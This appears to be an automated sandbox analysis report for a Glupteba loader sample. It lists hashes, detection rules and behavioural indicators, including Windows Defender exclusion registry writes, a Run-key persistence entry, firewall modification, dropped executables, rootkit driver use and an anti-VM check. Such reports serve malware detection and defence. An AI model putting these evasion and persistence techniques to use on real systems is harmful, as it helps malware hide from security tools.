glupteba | 233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d

Analysis

max time kernel
300s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
16/05/2024, 22:48

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General

Target

233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Size

4.1MB
MD5

b60c570e26b7a8c5623ae564db51f61e
SHA1

09bd0c38bf8a6884b4982c63c817077f8d1ac56b
SHA256

233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d
SHA512

d96c2c3a6143d22c3ee72d60bf438f3dced25fe86125c3c75404444394b37b22c64fcccb18ceda4bf469f7bec250b38114d1b01fe3c5f464da2ad49f5a4ad9b3
SSDEEP

98304:KLfLmuekyM0n5c1HyRUBBc8n4SZF75ocCX26:SjmXMxwUB28/Zt5olh

Score

10^/10

glupteba discovery dropper evasion execution loader persistence rootkit trojan upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 33 IoCs

resource	yara_rule
behavioral2/memory/2924-2-0x0000000002E10000-0x00000000036FB000-memory.dmp	family_glupteba
behavioral2/memory/2924-3-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/2924-303-0x0000000002E10000-0x00000000036FB000-memory.dmp	family_glupteba
behavioral2/memory/2924-302-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4172-1022-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1745-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1754-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1756-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1758-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1760-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1762-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1764-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1766-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1768-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1770-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1772-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1774-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1776-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1778-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1780-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1782-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1784-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1786-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1788-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1790-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1792-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1794-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1796-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1798-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1800-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-1802-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-2531-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/5088-2535-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe = "0"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3244	netsh.exe

Executes dropped EXE 7 IoCs

pid	Process
5088	csrss.exe
2164	injector.exe
2068	windefender.exe
64	windefender.exe
2492	dcb505dc2b9d8aac05f4ca0727f5eadb.exe
2872	713674d5e968cbe2102394be0b2bae6f.exe
1476	1bf850b4d9587c1017a75a47680584c4.exe

UPX packed file 16 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000800000001ac50-1748.dat	upx
behavioral2/memory/2068-1749-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/64-1752-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2068-1753-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/64-1755-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/64-1759-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/64-1765-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/files/0x000b000000000699-2047.dat	upx
behavioral2/memory/2492-2049-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
behavioral2/memory/2492-2054-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
behavioral2/files/0x000500000000069d-2290.dat	upx
behavioral2/memory/2872-2292-0x0000000000800000-0x00000000010CD000-memory.dmp	upx
behavioral2/files/0x00060000000006b1-2530.dat	upx
behavioral2/memory/1476-2532-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/2872-2536-0x0000000000800000-0x00000000010CD000-memory.dmp	upx
behavioral2/memory/1476-2537-0x0000000000400000-0x00000000008E8000-memory.dmp	upx

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe = "0"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
File created	C:\Windows\rss\csrss.exe	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1316	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2724	powershell.exe
1936	powershell.exe
1316	powershell.exe
3184	powershell.exe
2172	powershell.exe
4320	powershell.exe
336	powershell.exe
528	powershell.exe
2276	powershell.exe
3880	powershell.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4604	schtasks.exe
1688	schtasks.exe

GoLang User-Agent 3 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	43	Go-http-client/1.1
HTTP User-Agent header	44	Go-http-client/1.1
HTTP User-Agent header	48	Go-http-client/1.1

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-435 = "Georgian Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-382 = "South Africa Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-105 = "Central Brazilian Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1021 = "Bangladesh Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-981 = "Kamchatka Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1802 = "Line Islands Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2322 = "Sakhalin Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2772 = "Omsk Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-91 = "Pacific SA Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2592 = "Tocantins Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3880	powershell.exe
3880	powershell.exe
3880	powershell.exe
2924	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
2924	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
336	powershell.exe
336	powershell.exe
336	powershell.exe
4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
2724	powershell.exe
2724	powershell.exe
2724	powershell.exe
528	powershell.exe
528	powershell.exe
528	powershell.exe
1936	powershell.exe
1936	powershell.exe
1936	powershell.exe
1316	powershell.exe
1316	powershell.exe
1316	powershell.exe
2276	powershell.exe
2276	powershell.exe
2276	powershell.exe
2164	injector.exe
2164	injector.exe
2164	injector.exe
2164	injector.exe
2164	injector.exe
2164	injector.exe
5088	csrss.exe
5088	csrss.exe
2164	injector.exe
2164	injector.exe
2164	injector.exe
2164	injector.exe
2164	injector.exe
2164	injector.exe
5088	csrss.exe
5088	csrss.exe
2164	injector.exe
2164	injector.exe
2164	injector.exe
2164	injector.exe
2164	injector.exe
2164	injector.exe
5088	csrss.exe
5088	csrss.exe
2164	injector.exe
2164	injector.exe
2164	injector.exe
2164	injector.exe
2164	injector.exe
2164	injector.exe
2164	injector.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	3880	powershell.exe
Token: SeDebugPrivilege	2924	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Token: SeImpersonatePrivilege	2924	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
Token: SeDebugPrivilege	336	powershell.exe
Token: SeDebugPrivilege	2724	powershell.exe
Token: SeDebugPrivilege	528	powershell.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeDebugPrivilege	1316	powershell.exe
Token: SeDebugPrivilege	2276	powershell.exe
Token: SeSystemEnvironmentPrivilege	5088	csrss.exe
Token: SeSecurityPrivilege	1316	sc.exe
Token: SeSecurityPrivilege	1316	sc.exe
Token: SeDebugPrivilege	3184	powershell.exe
Token: SeDebugPrivilege	2172	powershell.exe
Token: SeDebugPrivilege	4320	powershell.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 2924 wrote to memory of 3880	2924	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe	74
PID 2924 wrote to memory of 3880	2924	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe	74
PID 2924 wrote to memory of 3880	2924	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe	74
PID 4172 wrote to memory of 336	4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe	79
PID 4172 wrote to memory of 336	4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe	79
PID 4172 wrote to memory of 336	4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe	79
PID 4172 wrote to memory of 524	4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe	81
PID 4172 wrote to memory of 524	4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe	81
PID 524 wrote to memory of 3244	524	cmd.exe	83
PID 524 wrote to memory of 3244	524	cmd.exe	83
